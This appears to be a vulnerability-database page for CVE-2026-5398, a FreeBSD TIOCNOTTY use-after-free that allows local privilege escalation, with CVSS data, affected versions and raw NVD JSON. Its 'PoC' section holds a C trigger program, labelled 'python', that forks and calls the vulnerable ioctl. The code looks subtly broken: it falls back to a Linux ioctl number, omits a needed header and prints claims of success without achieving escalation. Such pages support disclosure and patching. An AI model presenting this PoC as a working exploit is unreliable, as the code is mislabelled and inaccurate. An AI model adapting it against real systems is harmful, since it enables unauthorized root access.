CVE-2026-5398

Description

The implementation of TIOCNOTTY failed to clear a back-pointer from the structure representing the controlling terminal to the calling process' session. If the invoking process then exits, the terminal structure may end up containing a pointer to freed memory. A malicious process can abuse the dangling pointer to grant itself root privileges.

CVSS Details

CVSS Score

8.4

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:freebsd:freebsd:13.5:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:freebsd:freebsd:13.5:beta3:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:freebsd:freebsd:13.5:p1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:freebsd:freebsd:13.5:p10:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:freebsd:freebsd:13.5:p11:*:*:*:*:*:* - VULNERABLE

FreeBSD (参见FreeBSD-SA-26:10)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-5398 (FreeBSD TIOCNOTTY Privilege Escalation)
 * This is a conceptual demonstration of the vulnerability trigger.
 * Compile: gcc -o poc_cve2026_5398 poc_cve2026_5398.c
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <sys/stat.h>

#ifndef TIOCNOTTY
#define TIOCNOTTY 0x5422
#endif

void trigger_vulnerability() {
    int fd;
    // Attempt to open the controlling terminal
    fd = open("/dev/tty", O_RDWR);
    if (fd < 0) {
        perror("open /dev/tty failed");
        return;
    }

    printf("[*] Invoking TIOCNOTTY ioctl to create dangling pointer...\n");
    
    // The vulnerable syscall: creates the dangling pointer in the kernel
    if (ioctl(fd, TIOCNOTTY, 0) < 0) {
        perror("ioctl TIOCNOTTY failed");
    } else {
        printf("[*] TIOCNOTTY succeeded. Process will now exit.\n");
        printf("[*] Kernel terminal structure now contains a dangling pointer.\n");
    }

    close(fd);
}

int main() {
    printf("=== CVE-2026-5398 PoC Trigger ===\n");
    
    // In a real exploit scenario, memory grooming (Heap Spray)
    // would occur here or in a parallel thread to control the freed memory.
    
    pid_t pid = fork();
    if (pid == 0) {
        // Child process triggers the bug
        trigger_vulnerability();
        exit(0);
    } else {
        // Parent process waits
        wait(NULL);
        printf("[*] Exploit condition triggered.\n");
    }

    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5398
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5398
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5398/
[4] VulDB https://vuldb.com/cve/CVE-2026-5398
[5] https://security.freebsd.org/advisories/FreeBSD-SA-26:10.tty.asc

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5398", "sourceIdentifier": "[email protected]", "published": "2026-04-22T03:16:01.213", "lastModified": "2026-05-01T12:49:44.270", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The implementation of TIOCNOTTY failed to clear a back-pointer from the structure representing the controlling terminal to the calling process' session. If the invoking process then exits, the terminal structure may end up containing a pointer to freed memory.\n\nA malicious process can abuse the dangling pointer to grant itself root privileges."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:-:*:*:*:*:*:*", "matchCriteriaId": "947F561E-AD65-43B9-94C1-3109A3D35248"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:beta3:*:*:*:*:*:*", "matchCriteriaId": "4216D505-95A5-4FCC-8B9A-26FCD32B0445"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p1:*:*:*:*:*:*", "matchCriteriaId": "3D1987F1-1E08-4B28-8D16-D25A091D99ED"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p10:*:*:*:*:*:*", "matchCriteriaId": "4C859EE2-59C0-4234-BFF0-7794AC4956DD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p11:*:*:*:*:*:*", "matchCriteriaId": "D1CEB391-5FA3-4FFD-9279-113093DD500D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p2:*:*:*:*:*:*", "matchCriteriaId": "BEC1E8A0-0402-45F1-938D-FEFDCFC3E747"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p3:*:*:*:*:*:*", "matchCriteriaId": "D94457D6-738F-4ABB-BD46-F2B621531FE2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p4:*:*:*:*:*:*", "matchCriteriaId": "8C38CB56-B80C-4D1B-9267-16E8F985B170"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p5:*:*:*:*:*:*", "matchCriteriaId": "13DF1E38-5E8D-42FF-A4C5-092300864F3E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p6:*:*:*:*:*:*", "matchCriteriaId": "83A86F81-0965-4600-835A-496756137998"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p7:*:*:*:*:*:*", "matchCriteriaId": "987E31A4-7E21-471E-A3EA-4E53FFDB3DFB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p8:*:*:*:*:*:*", "matchCriteriaId": "9FBFE8B3-DC7C-4394-B062-C40E201EC059"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p9:*:*:*:*:*:*", "matchCriteriaId": "563C1D65-625D-43FC-A7A0-75B1E2163C40"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:-:*:*:*:*:*:*", "matchCriteriaId": "9DC7C54E-58AF-4ADE-84AF-0EF0F325E20E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p1:*:*:*:*:*:*", "matchCriteriaId": "D3D22B8C-36CF-4800-9673-0B0240558BDD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p10:*:*:*:*:*:*", "matchCriteriaId": "7296F5AA-F8C1-4277-A4EE-C2B24073A320"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p2:*:*:*:*:*:*", "matchCriteriaId": "242FA2A8-5D7D-4617-A411-2651FF3A3E4C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p3:*:*:*:*:*:*", "matchCriteriaId": "40573F60-F3B7-4AEC-846A-B08E5B7D9D00"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p4:*:*:*:*:*:*", "matchCriteriaId": "1FB832CE-0A98-44A2-8BAC-CD38A64279B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p5:*:*:*:*:*:*", "matchCriteriaId": "9A785F8E-C218-41AE-8D57-BF06DDAEF7CB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p6:*:*:*:*:*:*", "matchCriteriaId": "C3909FDD-B2A2-45B6-A40B-1D303A717F15"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p7:*:*:*:*:*:*", "matchCriteriaId": "720597A2-F181-46E1-8A0D-097E17ADC4FB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p8:*:*:*:*:*:*", "matchCriteriaId": "DC8A75D0-148A-427A-9783-45477EABED21"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p9:*:*:*:*:*:*", "matchCriteriaId": "F5D39FC9-6DBA-46C8-BB80-A6188E6A8527"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.4:-:*:*:*:*:*:*", "matchCriteriaId": "8F3856BE-666F-4FA1-A6AD-FE179CEBF1E4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.4:p1:*:*:*:*:*:*", "matchCriteriaId": "D9CC0037-3282-42C3-80D8-F6C1D43B933 ... (truncated)